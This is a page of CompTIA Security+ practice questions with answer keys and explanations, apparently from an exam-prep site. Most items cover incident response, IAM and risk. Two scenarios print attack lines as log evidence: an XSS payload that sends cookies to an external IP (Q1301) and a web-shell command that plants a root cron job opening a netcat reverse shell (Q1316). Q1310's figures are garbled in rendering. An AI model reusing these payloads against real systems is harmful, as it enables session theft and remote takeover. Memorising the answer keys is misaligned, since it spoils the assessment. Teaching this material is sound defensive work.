Examkin

All practice questions

2232 questions

All types2,232Multiple choice1,151Multiple select509Numeric21Matching378Ordering173
Question 1301Question →

A Security Operations Center (SOC) analyst is reviewing network monitoring telemetry and alert logs following an automated perimeter trigger. NetFlow records display an internal workstation (10.1.5.82) transferring 18 GB of outbound data over TCP port 443 to an unknown external destination (198.51.100.77) during off-hours. A deep packet inspection alert from the Network Intrusion Detection System (NIDS) flags the session payload format as encapsulated SSH rather than standard TLS. Additionally, an associated internal web application log displays the following incoming HTTP GET request parameter: `GET /profile?user=<script>window.location='http://198.51.100.77/log?c='+document.cookie</script> HTTP/1.1`. Which TWO of the following conclusions and monitoring actions are most accurate based on this evidence?

Select all that apply

Show answer & explanation

Answer: The web application telemetry indicates a Cross-Site Scripting (XSS) attack was leveraged to hijack session tokens.; Update perimeter NIPS rules to perform application-layer payload decoding to detect and prevent unauthorized protocol tunneling over standard ports.

Answer

The telemetry demonstrates a Cross-Site Scripting (XSS) attack used for session hijacking, and the appropriate monitoring control is configuring NIPS rules for application-layer payload decoding to detect protocol tunneling.
The incoming GET request parameter contains JavaScript code `<script>window.location=...</script>` designed to steal administrative session cookies via client-side execution, which is the definition of Cross-Site Scripting (XSS). Furthermore, detecting SSH disguised as HTTPS over port 443 requires network intrusion prevention systems (NIPS) equipped with application-layer payload decoding and deep packet inspection to recognize protocol anomalies and enforce blocking.

Step-by-Step Solution

1
Analyze the web application log payload
Identified client-side JavaScript (<script> tags) attempting to steal session cookies, confirming a Cross-Site Scripting (XSS) attack rather than a SQL injection.
Script tags operating on DOM objects indicate client-side code execution.
2
Analyze NetFlow telemetry and NIDS alert data
Confirmed SSH protocol encapsulation over TCP port 443 carrying large data transfers (18 GB).
Attackers disguise SSH traffic over HTTPS (port 443) to evade basic port-based filtering.
3
Determine the appropriate network security monitoring response
Deploy NIPS signatures that inspect application-layer payloads and enforce protocol compliance on port 443.
Deep packet inspection (DPI) prevents unauthorized tunneling by validating that port 443 traffic conforms to legitimate TLS handshakes.

Key Concept

Network Security Monitoring, Protocol Tunneling Detection, and Web Attack Analysis
Question 1302Question →

A Security Operations Center (SOC) is designing a high-velocity Security Orchestration, Automation, and Response (SOAR) playbook to automatically mitigate risks when an active cloud API access key is detected in a public repository leak. To maintain service availability while ensuring rapid threat containment and contextual enrichment, which of the following response actions should be executed as automated steps without requiring manual human approval? (Select TWO.)

Select all that apply

Show answer & explanation

Answer: Deactivating the specific exposed API access key via automated integration calls to the Cloud Service Provider management API; Querying threat intelligence API endpoints to append risk scores and context for originating IP addresses directly into the incident ticket

Answer

The correct response actions are deactivating the specific exposed API access key via Cloud Service Provider API integration and querying threat intelligence API endpoints to append risk context to the incident ticket.
Deactivating the specific exposed API key directly addresses the compromised secret at the management plane without causing unintended outages to compute resources. Querying threat intelligence sources to enrich incident tickets is a standard automated SOAR practice that increases analyst velocity without operational risk.

Step-by-Step Solution

1
Evaluate containment actions for operational risk vs. threat mitigation
Deactivating the compromised API key via CSP integration neutralizes the vector immediately without shutting down host servers or network workloads.
Targeted credential disabling isolates the attack vector safely without risking collateral downtime.
2
Identify non-disruptive enrichment tasks suitable for full automation
Automating threat intelligence lookups and appending IP reputation scores to the alert ticket provides SOC analysts with instant context.
Enrichment activities carry zero risk of operational disruption and dramatically reduce mean time to respond (MTTR).
3
Analyze distractor actions for operational logic errors and control category confusion
Hard rebooting production instances causes unacceptable outages. Modifying authorization roles confuses permission assignment with authentication verification.
Automated playbooks must avoid disruptive system-wide containment actions without human-in-the-loop approval.

Key Concept

SOAR Playbook Automated Actions vs. Human-in-the-Loop Safeguards
Question 1303Question →

An organization purchases a comprehensive cybersecurity insurance policy to cover financial liabilities associated with potential data breaches on its cloud servers. Which of the following risk response strategies is the organization demonstrating?

Show answer & explanation

Answer: Risk Transfer

Answer

Risk Transfer
Purchasing cybersecurity insurance reallocates potential financial losses associated with a security incident to an external insurer, which is a classic implementation of Risk Transfer.

Step-by-Step Solution

1
Analyze the action taken in the scenario.
The company buys an insurance policy to cover losses from potential breaches.
Identifying the specific action clarifies whether responsibility/liability is changed, reduced, avoided, or absorbed.
2
Map the action to formal risk response definitions.
Shifting financial liability to a third party (an insurance provider) is Risk Transfer.
Cyber insurance policies and vendor SLAs are standard methods of transferring risk.

Key Concept

Risk Response Strategies (Risk Transfer)
Estimated Time:45s
Question 1304Question →

A security team managing an isolated air-gapped operational technology (OT) network discovers widespread configuration drift across engineering workstations during a compliance audit. Simultaneously, a critical zero-day vulnerability advisory requires immediate software updates on these systems. Which of the following procedures should the security team implement to remediate the configuration drift while safely deploying emergency security patches? (Select TWO).

Select all that apply

Show answer & explanation

Answer: Establish a validated baseline using configuration audit scripts in an isolated staging environment before applying signed offline patch packages via inspected media.; Conduct a formal change advisory board (CAB) review to approve emergency deployment windows and verified system rollback points prior to production deployment.

Answer

The security team should establish a validated configuration baseline in an isolated staging environment using signed offline patch packages, and conduct a formal change advisory board review with defined rollback points before updating production systems.
Remediating configuration drift and vulnerabilities in air-gapped environments requires staging offline, cryptographically signed updates to maintain network isolation, alongside rigorous change control processes including rollback planning to protect operational stability.

Step-by-Step Solution

1
Evaluate patch deployment methods compatible with air-gapped security boundaries.
Identify that offline, cryptographically signed patch packages tested on staging environments preserve network isolation while remediating vulnerabilities.
Direct internet or cloud connections undermine the security posture of air-gapped industrial environments.
2
Integrate emergency remediation with formal change management processes.
Obtain Change Advisory Board approval and verify restore/rollback capabilities prior to modifying production configurations.
Operational technology environments require strict change governance to prevent system instability during emergency patch deployment.
3
Reject ineffective compensating controls and unauthorized architecture changes.
Discard options suggesting temporary network bridging or using IPS rules as permanent replacements for OS software patches.
Compensating controls do not eliminate underlying software flaws or baseline drift, and bridging networks violates isolation requirements.

Key Concept

Air-Gapped Patch Management and Configuration Baseline Enforcement
Question 1305Question →

An organization is deploying a cluster of database servers that require continuous network connectivity at the host level. The infrastructure team must configure host network interfaces to survive an individual cable or switch port failure while simultaneously aggregating bandwidth across two interconnected access switches during normal operations. Which of the following networking mechanisms should the administrator implement to meet these requirements?

Show answer & explanation

Answer: NIC teaming configured for IEEE 802.3ad Link Aggregation Control Protocol (LACP) using a switch-stacking topology

Answer

NIC teaming configured for IEEE 802.3ad Link Aggregation Control Protocol (LACP) using a switch-stacking topology
NIC teaming with 802.3ad LACP directly satisfies the requirement for both network interface fault tolerance and active-active bandwidth aggregation. Connecting the bonded links to a switch-stacking architecture ensures that if a single network port, cable, or switch fails, network traffic immediately fails over to the remaining active link without interrupting database connectivity.

Step-by-Step Solution

1
Analyze the operational requirements
The requirement specifies host-level network link resilience against cable/switch port failure combined with active-active bandwidth aggregation across interconnected switches.
Identifying the target domain (network availability and link redundancy) separates host networking controls from storage or power controls.
2
Evaluate network interface resilience options
NIC teaming (bonding) allows multiple physical network adapters to function as a unified logical interface. IEEE 802.3ad LACP dynamically manages link aggregation to combine throughput while providing fault tolerance.
When connected to a switch stack or MCLAG arrangement, LACP enables active-active link load balancing across separate physical switches.
3
Differentiate correct network fault-tolerance controls from non-network redundancy mechanisms
Disqualify storage redundancy (RAID 1), power infrastructure redundancy (dual PDUs/UPS), and disaster recovery techniques (cold-site snapshots).
Only NIC teaming with LACP directly addresses network link aggregation and port failure resilience.

Key Concept

NIC Teaming and Link Aggregation (LACP)
Estimated Time:1m 30s
Question 1306Question →

A financial systems workstation triggers a high-fidelity telemetry alert on an Endpoint Detection and Response (EDR) dashboard when a suspicious process attempts code injection into `explorer.exe` to establish a reverse connection. Which of the following initial actions should the incident response team perform using the EDR platform? (Select TWO.)

Select all that apply

Show answer & explanation

Answer: Apply host-level network isolation to the endpoint using the agent software to terminate active command-and-control channels while retaining management connectivity.; Initiate a volatile memory capture directly through the agent console before altering host process state.

Answer

The incident response team should apply host-level network isolation using the EDR agent software and initiate a volatile memory capture prior to altering host process states.
Endpoint Detection and Response (EDR) solutions provide granular control directly on target hosts. Applying host network isolation limits malicious lateral movement and C2 traffic while preserving the administrator's remote console access. Furthermore, executing a remote RAM capture prior to process containment safeguards volatile evidence necessary for root-cause memory forensics.

Step-by-Step Solution

1
Isolate the compromised host via the EDR platform.
Network communication to external malicious command-and-control infrastructure is blocked immediately, while EDR console connectivity remains active.
Containment must be performed immediately at the endpoint layer to prevent lateral movement or data exfiltration without losing remote management capability.
2
Trigger a remote volatile RAM capture through the EDR agent.
An uncorrupted image of volatile system memory containing injected code artifacts is securely preserved.
Process memory contains transient evidence that would be permanently lost if processes are terminated or the host is restarted.

Key Concept

EDR Host Containment and Volatile Telemetry Collection
Estimated Time:1m 30s
Question 1307Question →

A security engineer at a financial institution is reviewing a post-incident report for a critical web application server that was compromised. The investigation revealed that during an off-hours emergency software update, a vendor-supplied deployment script overwritten local system security parameters, reverting the server to an unhardened default baseline. Although the application vulnerability itself was successfully patched, administrative services were inadvertently exposed to the public network. Which of the following operational controls would best prevent this type of configuration drift during future patch deployments?

Show answer & explanation

Answer: Enforce continuous automated configuration management using declarative policy manifests to validate and remediate host state post-deployment.

Answer

Enforcing continuous automated configuration management using declarative policy manifests to validate and remediate host state post-deployment is the correct action.
Automated configuration management tools operating with declarative state definitions continuously audit managed endpoints against designated security baselines. If a patch deployment script alters configuration parameters, the configuration management agent detects the variance (drift) and automatically enforces the mandated secure baseline.

Step-by-Step Solution

1
Analyze the incident root cause.
The compromise resulted from configuration drift, specifically unhardened default settings being restored by a patch installation script.
Identifying that the failure was a configuration drift issue narrows down the required solution to baseline maintenance controls rather than patch acquisition or perimeter filtering.
2
Evaluate control options against configuration drift prevention.
Automated configuration management tools (such as Ansible, Puppet, or Chef) enforce declarative baselines and correct unauthorized modifications automatically.
Declarative tools ensure that host settings match the defined security standard regardless of changes made by intermediate patch scripts.

Key Concept

Configuration Baseline Enforcement and Drift Detection
Question 1308Question →

An incident response team is performing live forensic evidence acquisition on a cloud-hosted virtual machine suspected of being compromised during a data exfiltration attempt. Which of the following actions must the team perform to preserve evidence integrity and maintain a legally defensible chain of custody? (Select TWO.)

Select all that apply

Show answer & explanation

Answer: Calculate and record SHA-256 cryptographic hash values for all captured memory images and system log files immediately following acquisition.; Document every evidence transfer, custodian handoff, timestamp, and secure storage location on a standardized evidence log.

Answer

The incident response team must record cryptographic SHA-256 hash values immediately after acquiring evidence and maintain a detailed evidence tracking log documenting every custodian handoff, date, and storage location.
Generating cryptographic hash values immediately upon evidence capture provides a verifiable baseline to prove data integrity. Concurrently, maintaining an explicit chain of custody log detailing every handler, transfer date, and storage location ensures an unbroken line of accountability required for evidence admissibility.

Step-by-Step Solution

1
Identify requirements for digital evidence preservation and chain of custody.
Proper forensic handling requires verifying data integrity without altering source data and maintaining complete accountability for evidence handling.
Evidence must be verifiable and legally defensible in formal investigations.
2
Evaluate integrity verification controls.
Calculating cryptographic hashes (e.g., SHA-256) right after collection creates an immutable baseline to detect tampering.
Hashing demonstrates that evidence matching the baseline hash has remained unaltered.
3
Evaluate chain of custody documentation controls.
Recording all evidence handoffs, custodian names, dates, and locations maintains an unbroken record of control.
Chain of custody documentation accounts for evidence handling from seizure through presentation.

Key Concept

Digital Forensics Integrity Verification and Chain of Custody
Question 1309Question →

A network security analyst reviews an intrusion detection alert showing an incoming HTTP GET request containing the payload `SELECT * FROM accounts WHERE user_id = '1' OR '1'='1'`. A analyst team member flags the alert as a Cross-Site Scripting (XSS) event. Which of the following best describes why this alert interpretation is incorrect?

Show answer & explanation

Answer: The payload targets backend database query execution rather than executing malicious scripts within a target user's web browser.

Answer

The payload targets backend database query execution rather than executing malicious scripts within a target user's web browser.
The correct answer highlights that SQL injection attacks attempt to manipulate structured database queries executed on backend database servers. Cross-Site Scripting (XSS), by contrast, relies on injecting client-side scripts (such as JavaScript) that execute in the context of an end user's browser.

Step-by-Step Solution

1
Analyze the alert payload
Identified database query commands (`SELECT * FROM accounts WHERE user_id = '1' OR '1'='1'`).
Recognizing database syntax is necessary to classify the attack vector accurately.
2
Compare SQL Injection and Cross-Site Scripting characteristics
SQL Injection targets backend database manipulation, while XSS targets client-side browser script execution.
Differentiating backend database command execution from client-side script execution clarifies the misdiagnosis.

Key Concept

Distinguishing SQL Injection from XSS in Network Security Monitoring Alerts
Estimated Time:45s
Question 1310Question →

A financial technology firm evaluates the potential impact of a ransomware incident on a database server valued at 250,000.SecurityanalystsdeterminethatasuccessfulattackwouldresultinanExposureFactor(250,000. Security analysts determine that a successful attack would result in an Exposure Factor ( EF )of) of 20\%( ( 0.20 ).WhatistheSingleLossExpectancy(). What is the Single Loss Expectancy ( SLE$) in dollars for this asset?

Show answer & explanation

Answer: 50000

Answer

The Single Loss Expectancy (SLESLE) for the database server is $50,000.
Single Loss Expectancy (SLESLE) represents the expected financial impact of a single realized risk event on an asset. It is computed using the formula SLE=AV×EFSLE = AV \times EF. Multiplying an Asset Value (AVAV) of $250,000\$250,000 by an Exposure Factor (EFEF) of 0.200.20 gives an SLESLE of $50,000\$50,000.

Step-by-Step Solution

1
Extract the Asset Value (AVAV) and Exposure Factor (EFEF) from the scenario.
AV=$250,000AV = \$250,000 and EF=0.20EF = 0.20 (20%20\%).
Quantitative risk analysis requires identifying the financial value of the asset and the proportion of value lost in a single incident.
2
Calculate the Single Loss Expectancy using SLE=AV×EFSLE = AV \times EF.
SLE=$250,000×0.20=$50,000SLE = \$250,000 \times 0.20 = \$50,000.
Single Loss Expectancy measures the monetary loss resulting from a single risk event.

Key Concept

Single Loss Expectancy (SLE) calculation in quantitative risk assessment
Question 1311Question →

A security operations team is updating its vulnerability management strategy across diverse operational environments. Match each vulnerability scanning methodology on the left to the enterprise scenario on the right that best justifies its deployment.

Click a left item, then click its matching right item

Items

Host-based Agent Scanning
Passive Network Monitoring
Authenticated Network Scanning
Intrusive Active Scanning

Matches

Show answer & explanation

Answer

Host-based Agent Scanning pairs with auditing roaming remote endpoints; Passive Network Monitoring pairs with identifying assets on sensitive SCADA networks; Authenticated Network Scanning pairs with assessing hosts via service accounts without local agents; Intrusive Active Scanning pairs with verifying exploitability in staging environments despite potential crash risks.
Matching scanning methodologies to enterprise environments requires balancing operational risk, network architecture, credential access, and intrusive potential. Host-based agents cater to remote endpoints; passive monitoring protects sensitive OT/SCADA devices; authenticated network scans gather detailed host data remotely without agents; and intrusive active scans confirm exploitability where downtime is tolerable.

Step-by-Step Solution

1
Analyze the connectivity constraints of remote/roaming devices.
Devices outside the network perimeter require host-installed agents to collect local configuration and patch data independently of network location.
Traditional network scans cannot reliably reach hosts operating outside internal subnets.
2
Evaluate the sensitivity of SCADA and industrial control systems (ICS).
Non-intrusive, passive monitoring via SPAN/TAP ports is required to prevent crash events caused by active network probes.
Legacy embedded systems often fail when receiving non-standard or heavy probe traffic.
3
Assess agentless internal host vulnerability auditing requirements.
Authenticated network scanning leverages valid credentials to query missing patches remotely without host software installation overhead.
Using service account credentials reduces false positives compared to unauthenticated port scans while avoiding endpoint agent deployment.
4
Differentiate non-intrusive vulnerability discovery from intrusive exploit verification.
Intrusive scanning executes payload tests to confirm exploitability (such as RCE), acceptable primarily in non-production or staging environments.
Intrusive methods simulate actual attack vectors and may destabilize target applications.

Key Concept

Selecting Vulnerability Assessment and Scanning Methodologies Based on Operational Risk and Environmental Constraints
Estimated Time:2m 0s
Question 1312Question →

A security technician needs to conduct an internal vulnerability scan across local workstations to accurately audit operating system patch levels and local registry configurations while minimizing network traffic overhead. Which of the following scan methods should the technician select?

Show answer & explanation

Answer: Credentialed vulnerability scan

Answer

Credentialed vulnerability scan
Credentialed vulnerability scans authenticate directly to the target system using valid user or service credentials. This enables the scanner to inspect internal file versions, installed updates, and registry configurations directly on the host, producing highly accurate results with minimal network traffic.

Step-by-Step Solution

1
Identify the goal and constraints of the scanning request
The goal is to inspect local OS patch levels and registry configurations with minimal network bandwidth usage.
Accurate patch and registry checks require internal access to host operating system details.
2
Compare scanning access modes
Credentialed scans utilize user/administrative privileges to query the host locally, whereas non-credentialed scans infer vulnerabilities externally through exposed network ports.
Credentialed scanning provides deeper visibility with significantly fewer probe packets sent over the network.
3
Select the appropriate scanning technique
The credentialed vulnerability scan fulfills all auditing and low-overhead requirements.
It directly accesses internal system information without attempting disruptive exploitation.

Key Concept

Credentialed vs. Non-Credentialed Vulnerability Scanning
Question 1313Question →

A security analyst in a SOC detects unauthorized PowerShell script execution originating from an HR department workstation that is actively communicating with an external command-and-control server. The analyst immediately isolates the workstation from the enterprise network using the EDR console. According to standard incident response frameworks, which of the following actions should the analyst perform NEXT?

Show answer & explanation

Answer: Preserve volatile memory and collect forensic evidence to analyze the persistence mechanism.

Answer

Preserve volatile memory and collect forensic evidence to analyze the persistence mechanism.
Under standard incident response frameworks (such as NIST SP 800-61), once containment is achieved via network isolation, responders must capture volatile evidence (RAM, active connections, running processes) and conduct root-cause analysis before carrying out eradication or recovery activities.

Step-by-Step Solution

1
Identify the completed incident response phase from the scenario context.
Network isolation of the workstation has been completed, fulfilling the containment objective.
Determining the current status within the IR lifecycle (Preparation -> Detection & Analysis -> Containment -> Eradication -> Recovery -> Lessons Learned) establishes proper operational sequencing.
2
Determine the mandatory actions required before modifying host state.
Preserve RAM and volatile forensic evidence while the host is contained but powered on.
Capturing volatile memory and system artifacts is vital for identifying root cause, privilege escalation pathways, and scope of compromise prior to system wipe.
3
Select the response that conducts analysis and evidence preservation following containment.
Collecting volatile memory and forensic evidence is the appropriate next step.
It aligns strictly with NIST SP 800-61 guidelines for investigation before moving to eradication.

Key Concept

Incident Response Lifecycle Phase Progression and Evidence Preservation
Question 1314Question →

During an incident investigation on a Linux developer workstation, a security analyst discovers that an attacker is running fileless malware directly within volatile memory using native utility process injection. Legacy antivirus software failed to trigger an alert because no file was written to the disk drive. Which of the following core capabilities of an Endpoint Detection and Response (EDR) platform allows it to detect and respond to this attack?

Show answer & explanation

Answer: Continuous behavioral telemetry monitoring and process execution tracking

Answer

Continuous behavioral telemetry monitoring and process execution tracking
Continuous behavioral telemetry monitoring and process execution tracking is correct because EDR agents record real-time system events, process relationships, and volatile memory activity. This allows the system to identify anomalies such as process injection and fileless execution even when no malicious file resides on local storage.

Step-by-Step Solution

1
Analyze the attack vector described in the scenario
Identified fileless malware executing directly in volatile memory via process injection without dropping files to disk.
Understanding that legacy antivirus relies on static file signatures explains why traditional disk scanning failed.
2
Evaluate EDR capabilities against memory-resident threats
EDR records real-time host telemetry, monitoring process creation, API system calls, and memory anomalies.
Behavioral detection isolates abnormal process interactions even when no malicious file is present on the storage drive.
3
Select the appropriate security control
Continuous behavioral monitoring is the primary mechanism within EDR for detecting fileless execution.
Host-based behavioral analysis addresses endpoint memory execution directly, unlike network controls or static file scanners.

Key Concept

EDR Behavioral Monitoring vs. Legacy Signature-Based Antivirus
Question 1315Question →

A security architect is designing an enterprise Network Access Control (NAC) architecture to secure corporate wired and wireless infrastructure. The design requires mutual authentication between client devices and the network, along with centralized authentication and authorization against the enterprise identity store. Which of the following components or protocols should be integrated to meet these requirements? (Select TWO.)

Select all that apply

Show answer & explanation

Answer: A centralized RADIUS server integrated with the enterprise directory service to evaluate network access requests.; Extensible Authentication Protocol-TLS (EAP-TLS) configured across endpoints and network devices to enable certificate-based mutual authentication.

Answer

The correct architecture requires a centralized RADIUS server integrated with enterprise directory services and EAP-TLS protocol configuration for mutual certificate-based authentication.
Implementing a centralized RADIUS server provides the AAA infrastructure required to evaluate access policies and connect to corporate directory services. Combining RADIUS with EAP-TLS satisfies the mutual authentication constraint through two-way X.509 certificate validation during network admission.

Step-by-Step Solution

1
Determine the protocol capable of performing mutual authentication at the network layer using digital certificates.
EAP-TLS is selected because it requires both client and server X.509 certificates to complete the TLS handshake over IEEE 802.1X.
EAP-TLS fulfills the requirement for mutual cryptographic verification between endpoints and the authentication framework.
2
Identify the architectural server role needed to centralize access requests and interface with the enterprise identity store.
A RADIUS server is selected as the central Authentication, Authorization, and Accounting (AAA) server.
RADIUS acts as an intermediary that evaluates authentication requests from network devices against enterprise directory policies.

Key Concept

Network Access Control and AAA Architecture (EAP-TLS & RADIUS)
Question 1316Question →

A security operations analyst is investigating correlated SIEM log entries recorded from a Linux-based web server. The log management repository captured the following chronological event logs:

[Nginx Web Access Log]
192.168.10.45 - - [27/Jul/2026:11:14:02 +0000] "POST /uploads/avatar.php HTTP/1.1" 200 4522
192.168.10.45 - - [27/Jul/2026:11:14:15 +0000] "GET /uploads/avatar.php?cmd=whoami HTTP/1.1" 200 34
192.168.10.45 - - [27/Jul/2026:11:14:28 +0000] "GET /uploads/avatar.php?cmd=echo+%22%2A%2F5+%2A+%2A+%2A+%2A+root+nc+-e+%2Fbin%2Fbash+192.168.10.45+4444%22+%3E%3E+%2Fetc%2Fcrontab HTTP/1.1" 200 12

[Syslog / Cron Execution Log]
Jul 27 11:15:01 webserver CRON[4821]: (root) CMD (nc -e /bin/bash 192.168.10.45 4444)

Based on the log data, which of the following statements accurately describe the actions performed by the threat actor? (Select TWO.)

Select all that apply

Show answer & explanation

Answer: The adversary leveraged a web shell payload uploaded to the web server directory to execute arbitrary system commands.; The adversary established system persistence by appending a malicious scheduled task (cron job) that initiates an outbound reverse shell.

Answer

The attack involved utilizing an uploaded web shell to run operating system commands and appending a malicious job to /etc/crontab to establish persistence via an outbound reverse shell.
The correlated logs demonstrate two critical adversary actions: first, the adversary used an uploaded PHP script as a web shell to execute shell commands remotely over HTTP. Second, the adversary wrote a recurring job to /etc/crontab to spawn a reverse shell connection via Netcat, establishing persistent control over the host server.

Step-by-Step Solution

1
Analyze the Nginx web access log entries
Identified POST request uploading 'avatar.php' followed by GET requests passing OS commands inside the 'cmd' query parameter (e.g., 'whoami').
This behavior demonstrates remote command execution via a deployed web shell script.
2
Inspect the URL-encoded command payload
Decoded `%2A%2F5` as `*/5` and `%3E%3E+%2Fetc%2Fcrontab` as `>> /etc/crontab`, which writes a cron schedule calling Netcat (`nc -e /bin/bash`).
Writing scheduled tasks to configuration files is a standard method for maintaining persistent access across system reboots or log clearances.
3
Correlate Nginx web events with Linux syslog entries
Syslog entry at 11:15:01 confirms CRON executed `nc -e /bin/bash 192.168.10.45 4444` as the root user.
Correlating timestamped logs across different service subsystems validates that the malicious cron job successfully triggered an outbound reverse connection.

Key Concept

Log Correlation and Web Shell/Persistence Detection
Question 1317Question →

A security administrator is auditing authentication and access logs from an enterprise remote access gateway for external contractors:

[2026-07-27 10:14:02] RADIUS-AUTH: User 'contractor_jb' LDAP authentication SUCCESS.
[2026-07-27 10:14:03] MFA-SVC: User 'contractor_jb' TOTP verification SUCCESS.
[2026-07-27 10:14:03] RADIUS-AUTH: Network Access Policy evaluation: User group 'Vendor-Temp' assigned VLAN 102.
[2026-07-27 10:14:05] RADIUS-AUTH: Authorization OVERRIDE: Local static table mapped 'contractor_jb' to 'Domain Admins' (VLAN 10).
[2026-07-27 10:14:06] VPN-GW: Session established for 'contractor_jb' with Administrative Privileges on VLAN 10.

Based on the log analysis, which of the following root causes and operational remediation actions are correct? (Select TWO.)

Select all that apply

Show answer & explanation

Answer: An authorization control failure occurred because a local RADIUS server mapping superseded centralized Directory role assignment, resulting in excessive privileges.; The security administrator must remove static local authorization overrides on the RADIUS server to enforce centralized least-privilege role assignment.

Answer

The incident stems from an authorization control failure where local RADIUS static mapping tables overridden centralized group assignment, granting administrative privileges. To remediate this, the administrator must eliminate local static authorization overrides to enforce centralized least privilege.
The log explicitly demonstrates that both primary authentication (LDAP) and secondary authentication (TOTP MFA) succeeded. However, after the network access policy initially assigned the temporary vendor group profile, a local static table on the RADIUS server performed an authorization override to 'Domain Admins'. Removing local static overrides ensures that authorization rights remain aligned with centralized directory roles.

Step-by-Step Solution

1
Analyze authentication entries in the log.
LDAP authentication and TOTP MFA verification both succeeded for 'contractor_jb' at 10:14:02 and 10:14:03.
Confirms identity verification (AAA authentication phase) functioned properly.
2
Evaluate authorization processing entries.
Network Access Policy evaluated the group 'Vendor-Temp' (VLAN 102), but a subsequent local static table entry overridden the authorization assignment to 'Domain Admins' (VLAN 10).
Identifies that local configuration overrides defeated centralized role-based access control.
3
Determine appropriate operational remediation.
Remove local static table overrides on the RADIUS server.
Restores centralized directory-driven authorization and enforces least privilege.

Key Concept

RADIUS Centralized Authorization vs. Local Server Overrides in IAM Operations
Question 1318Question →

A security analyst is establishing passive network security monitoring across a corporate local area network to monitor traffic without interrupting active host operations or injecting network probes. Which TWO of the following techniques represent passive network monitoring methods?

Select all that apply

Show answer & explanation

Answer: Capturing and analyzing frame traffic replicated from a network switch SPAN port; Collecting NetFlow and IPFIX telemetry records exported by network routers

Answer

Capturing frame traffic via a switch SPAN port and collecting NetFlow telemetry from routers are passive monitoring methods.
Passive network monitoring relies on reading existing network traffic without generating additional packets or modifying traffic flows. Replicating switch traffic using a SPAN port and aggregating NetFlow telemetry exported by network routers both inspect network activity passively.

Step-by-Step Solution

1
Identify the operational requirement for passive network security monitoring.
Passive monitoring mechanisms observe existing traffic streams without generating synthetic traffic probes or inline network latency.
Ensures monitoring tools collect network telemetry without risk of disrupting host services.
2
Evaluate candidate monitoring methods for passive operation.
SPAN port mirroring duplicates layer 2/3 traffic to a sensor silently, while NetFlow exports flow statistics compiled natively by routers.
Both methods operate in read-only telemetry modes.

Key Concept

Passive vs. Active Network Security Monitoring
Question 1319Question →

An organization is updating its enterprise Identity and Access Management (IAM) architecture to reduce credential exposure and prevent lateral movement across server environments. The security architect needs to eliminate static, long-lived administrator credentials and ensure that elevated privileges are granted only on-demand for specific tasks and automatically revoked upon task completion. Which of the following IAM architectural strategies best fulfills this requirement?

Show answer & explanation

Answer: Implementing Privileged Access Management (PAM) integrated with Just-In-Time (JIT) access and ephemeral credential provisioning.

Answer

Implementing Privileged Access Management (PAM) integrated with Just-In-Time (JIT) access and ephemeral credential provisioning.
The solution advocating Privileged Access Management (PAM) with Just-In-Time (JIT) access and ephemeral credential provisioning directly meets the objective. JIT access eliminates standing privileges by generating temporary, scoped credentials or elevating access rights strictly during an approved session window and revoking them automatically afterward.

Step-by-Step Solution

1
Analyze the core architectural requirement described in the enterprise scenario.
The requirement calls for eliminating static, long-lived administrator credentials and replacing them with temporary privilege elevation that expires automatically upon completion of administrative tasks.
Persistent high-privilege credentials present a high-value target for attackers attempting lateral movement.
2
Evaluate candidate IAM mechanisms against the requirement of dynamic, temporary elevation.
Privileged Access Management (PAM) solutions supporting Just-In-Time (JIT) access issue short-lived or ephemeral credentials specifically for authorized workflows and revoke them immediately after the designated window.
JIT access reduces standing privilege attack surface to zero when no administrative task is active.
3
Distinguish PAM JIT solutions from static authentication or network isolation controls.
Controls like MFA, jump hosts, or static RBAC directory groups enhance security but leave permanent privileged memberships intact.
Only PAM with JIT access specifically addresses the lifecycle and ephemeral nature of administrator privilege elevation.

Key Concept

Privileged Access Management (PAM) and Just-In-Time (JIT) Access Architecture
Question 1320Question →

An enterprise organization operating an immutable containerized infrastructure discovers a critical zero-day vulnerability in its base operating system image across multiple microservices. What is the correct chronological sequence of steps the security operations team must perform to remediate this vulnerability while maintaining configuration integrity and change control compliance?

Drag items to arrange them in the correct order

Show answer & explanation

Answer

The correct sequence begins with identifying affected container repositories using SBOM telemetry, updating base image directives in source manifests, executing automated regression testing in a staging environment, obtaining formal Change Advisory Board authorization backed by test metrics and rollback plans, and concluding with a canary deployment to production accompanied by continuous configuration baseline auditing.
The sequence correctly reflects standard enterprise patch management for immutable environments: initial asset scoping using Software Bill of Materials (SBOM) data occurs first; updates are committed to Infrastructure-as-Code manifests; pre-deployment automated regression testing in staging provides the mandatory verification evidence needed for Change Advisory Board (CAB) approval; and production deployment proceeds via canary release paired with ongoing configuration drift auditing.

Step-by-Step Solution

1
Inventory and scope analysis
Identification of all vulnerable container image dependencies across microservices
Scoping via SBOM data ensures accurate mapping of all affected artifacts before initiating code alterations.
2
Infrastructure-as-Code (IaC) configuration update
Updated base image version committed to source repository development branch
Immutable infrastructure dictates that patches are declared in source code manifests rather than applied to active workloads.
3
Pre-deployment validation in staging
Empirical confirmation of patch stability and security control effectiveness
Staging verification prevents broken builds or incompatible patches from impacting live enterprise operations.
4
Change control governance
Formal approval granted by the Change Advisory Board (CAB)
Enterprise governance requires empirical test documentation and risk mitigation plans prior to production release.
5
Production rollout and baseline auditing
Controlled canary rollout and ongoing detection of configuration drift
Gradual rollout mitigates deployment blast radius, while ongoing auditing ensures production containers match the approved baseline.

Key Concept

Enterprise Patch and Configuration Management Lifecycle for Immutable Infrastructure
PreviousPage 66 / 112Next
All practice questions — CompTIA Security+ | Examkin